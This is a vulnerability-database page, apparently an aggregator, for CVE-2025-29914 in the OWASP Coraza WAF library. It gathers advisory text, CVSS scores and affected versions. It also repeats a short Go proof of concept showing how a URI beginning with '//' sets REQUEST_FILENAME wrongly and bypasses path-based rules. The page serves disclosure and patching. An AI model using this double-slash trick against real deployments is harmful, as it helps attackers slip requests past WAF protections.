CVE-2025-29914
OWASP Coraza WAF has parser confusion which leads to wrong URI in `REQUEST_FILENAME`
OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. Prior to 3.3.3, if a request is made on an URI starting with //, coraza will set a wrong value in REQUEST_FILENAME. For example, if the URI //bar/uploads/foo.php?a=b is passed to coraza: , REQUEST_FILENAME will be set to /uploads/foo.php. This can lead to a rules bypass. This vulnerability is fixed in 3.3.3.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.4
OWASP Coraza WAF has parser confusion which leads to wrong URI in `REQUEST_FILENAME`
OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. Prior to 3.3.3, if a request is made on an URI starting with //, coraza will set a wrong value in REQUEST_FILENAME. For example, if the URI //bar/uploads/foo.php?a=b is passed to coraza: , REQUEST_FILENAME will be set to /uploads/foo.php. This can lead to a rules bypass. This vulnerability is fixed in 3.3.3.
- Record
CVE-2025-29914- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N - Weakness
- CWE-706
- Updated
- 2026-11-02
EUVDEUVD-2025-7160
5.4
OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. Prior to 3.3.3, if a request is made on an URI starting with //, coraza will set a wrong value in REQUEST_FILENAME. For example, if the URI //bar/uploads/foo.php?a=b is passed to coraza: , REQUEST_FILENAME will be set to /uploads/foo.php. This can lead to a rules bypass. This vulnerability is fixed in 3.3.3.
- Record
EUVD-2025-7160- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-q9f5-625g-xm39
5.4
OWASP Coraza WAF has parser confusion which leads to wrong URI in `REQUEST_FILENAME`
Summary
URLs starting with // are not parsed properly, and the request REQUEST_FILENAME variable contains a wrong value, leading to potential rules bypass.
Details
If a request is made on an URI starting with //, coraza will set a wrong value in REQUEST_FILENAME.
For example, if the URI //bar/uploads/foo.php?a=b is passed to coraza: , REQUEST_FILENAME will be set to /uploads/foo.php.
The root cause is the usage of url.Parse to parse the URI in ProcessURI.
url.Parse can parse both absolute URLs (starting with a scheme) or relative ones (just the path).
//bar/uploads/foo.php is a valid absolute URI (the scheme is empty), url.Parse will consider bar as the host and the path will be set to /uploads/foo.php.
PoC
package main
import (
"fmt"
"net/url"
"os"
"github.com/corazawaf/coraza/v3"
)
const testRule = `
SecDebugLogLevel 9
SecDebugLog /dev/stdout
SecRule REQUEST_FILENAME "@rx /bar/uploads/.*\.(h?ph(p|tm?l?|ar)|module|shtml)" "id:1,phase:1,deny"
`
func main() {
var testURL = "//bar/uploads/foo.php"
if os.Getenv("TEST_URL") != "" {
testURL = os.Getenv("TEST_URL")
}
fmt.Printf("Testing URL: %s\n", testURL)
config := coraza.NewWAFConfig().WithDirectives(testRule)
waf, err := coraza.NewWAF(config)
if err != nil {
panic(err)
}
tx := waf.NewTransaction()
tx.ProcessURI(testURL, "GET", "HTTP/1.1")
in := tx.ProcessRequestHeaders()
if in != nil {
fmt.Printf("%+v\n", in)
}
}
Impact
Potential bypass of rules using REQUEST_FILENAME.
- Record
GHSA-q9f5-625g-xm39- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N - Weakness
- CWE-706
- Updated
- 2026-11-02
NVD
5.4
OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. Prior to 3.3.3, if a request is made on an URI starting with //, coraza will set a wrong value in REQUEST_FILENAME. For example, if the URI //bar/uploads/foo.php?a=b is passed to coraza: , REQUEST_FILENAME will be set to /uploads/foo.php. This can lead to a rules bypass. This vulnerability is fixed in 3.3.3.
- Record
CVE-2025-29914- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N - Weakness
- CWE-706
- Updated
- 2026-11-02
OSV
5.4
OWASP Coraza WAF has parser confusion which leads to wrong URI in `REQUEST_FILENAME`
OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. Prior to 3.3.3, if a request is made on an URI starting with //, coraza will set a wrong value in REQUEST_FILENAME. For example, if the URI //bar/uploads/foo.php?a=b is passed to coraza: , REQUEST_FILENAME will be set to /uploads/foo.php. This can lead to a rules bypass. This vulnerability is fixed in 3.3.3.
- Record
CVE-2025-29914- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N - Weakness
- CWE-706
- Updated
- 2026-11-02
OSVGHSA-q9f5-625g-xm39
5.4
OWASP Coraza WAF has parser confusion which leads to wrong URI in `REQUEST_FILENAME`
Summary
URLs starting with // are not parsed properly, and the request REQUEST_FILENAME variable contains a wrong value, leading to potential rules bypass.
Details
If a request is made on an URI starting with //, coraza will set a wrong value in REQUEST_FILENAME.
For example, if the URI //bar/uploads/foo.php?a=b is passed to coraza: , REQUEST_FILENAME will be set to /uploads/foo.php.
The root cause is the usage of url.Parse to parse the URI in ProcessURI.
url.Parse can parse both absolute URLs (starting with a scheme) or relative ones (just the path).
//bar/uploads/foo.php is a valid absolute URI (the scheme is empty), url.Parse will consider bar as the host and the path will be set to /uploads/foo.php.
PoC
package main
import (
"fmt"
"net/url"
"os"
"github.com/corazawaf/coraza/v3"
)
const testRule = `
SecDebugLogLevel 9
SecDebugLog /dev/stdout
SecRule REQUEST_FILENAME "@rx /bar/uploads/.*\.(h?ph(p|tm?l?|ar)|module|shtml)" "id:1,phase:1,deny"
`
func main() {
var testURL = "//bar/uploads/foo.php"
if os.Getenv("TEST_URL") != "" {
testURL = os.Getenv("TEST_URL")
}
fmt.Printf("Testing URL: %s\n", testURL)
config := coraza.NewWAFConfig().WithDirectives(testRule)
waf, err := coraza.NewWAF(config)
if err != nil {
panic(err)
}
tx := waf.NewTransaction()
tx.ProcessURI(testURL, "GET", "HTTP/1.1")
in := tx.ProcessRequestHeaders()
if in != nil {
fmt.Printf("%+v\n", in)
}
}
Impact
Potential bypass of rules using REQUEST_FILENAME.
- Record
GHSA-q9f5-625g-xm39- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N - Weakness
- CWE-706
- Updated
- 2026-11-02
OSVGO-2025-3537 No score
OWASP Coraza WAF has parser confusion which leads to wrong URI in `REQUEST_FILENAME` in github.com/corazawaf/coraza
OWASP Coraza WAF has parser confusion which leads to wrong URI in REQUEST_FILENAME in github.com/corazawaf/coraza
- Record
GO-2025-3537- Updated
- 2026-11-02
OSVopenSUSE-SU-2025:14937-1 No score
govulncheck-vulndb-0.0.20250327T184518-1.1 on GA media
These are all security issues fixed in the govulncheck-vulndb-0.0.20250327T184518-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2025:14937-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/jptosso/coraza-wafGo |
before 3.3.3 | 3.3.3 |
github.com/corazawaf/coraza/v3Go |
before 3.3.3 | 3.3.3 |
github.com/corazawaf/corazaGo |
All versions | None known |
github.com/corazawaf/coraza/v2Go |
All versions | None known |
github.com/jptosso/coraza-wafGo |
All versions | None known |
govulncheck-vulndbopenSUSE:Tumbleweed From an advisory covering 30 CVEs |
before 0.0.20250327T184518-1.1 | 0.0.20250327T184518-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-29914 is a medium vulnerability (CVSS 5.4) in Corazawaf Coraza, published March 20, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.32%, the 24th percentile. Fixed in github.com/jptosso/coraza-waf 3.3.3.
References
github.com/corazawaf/coraza/security/advisories/GHSA-q9f5-625g-xm39
github.com/corazawaf/coraza/commit/4722c9ad0d502abd56b8d6733c6b47eb4111742d
nvd.nist.gov/vuln/detail/CVE-2025-29914
github.com/advisories/GHSA-q9f5-625g-xm39
github.com/CVEProject/cvelistV5/tree/main/cves/2025/29xxx/CVE-2025-29914.json
github.com/corazawaf/coraza
Show 31 moreShow less
lists.opensuse.org/archives/list/[email protected]/thread/NEVFAGUWHTVZSJTUAIU6C4S26DP2KIGB
suse.com/security/cve/CVE-2024-25132
suse.com/security/cve/CVE-2024-53348
suse.com/security/cve/CVE-2024-53351
suse.com/security/cve/CVE-2024-7598
suse.com/security/cve/CVE-2024-7631
suse.com/security/cve/CVE-2024-9042
suse.com/security/cve/CVE-2024-9900
suse.com/security/cve/CVE-2025-1097
suse.com/security/cve/CVE-2025-1098
suse.com/security/cve/CVE-2025-1472
suse.com/security/cve/CVE-2025-1767
suse.com/security/cve/CVE-2025-1974
suse.com/security/cve/CVE-2025-24513
suse.com/security/cve/CVE-2025-24514
suse.com/security/cve/CVE-2025-24920
suse.com/security/cve/CVE-2025-25068
suse.com/security/cve/CVE-2025-25274
suse.com/security/cve/CVE-2025-27612
suse.com/security/cve/CVE-2025-27715
suse.com/security/cve/CVE-2025-27933
suse.com/security/cve/CVE-2025-29778
suse.com/security/cve/CVE-2025-29914
suse.com/security/cve/CVE-2025-29922
suse.com/security/cve/CVE-2025-29923
suse.com/security/cve/CVE-2025-30077
suse.com/security/cve/CVE-2025-30153
suse.com/security/cve/CVE-2025-30162
suse.com/security/cve/CVE-2025-30163
suse.com/security/cve/CVE-2025-30179
suse.com/security/cve/CVE-2025-30204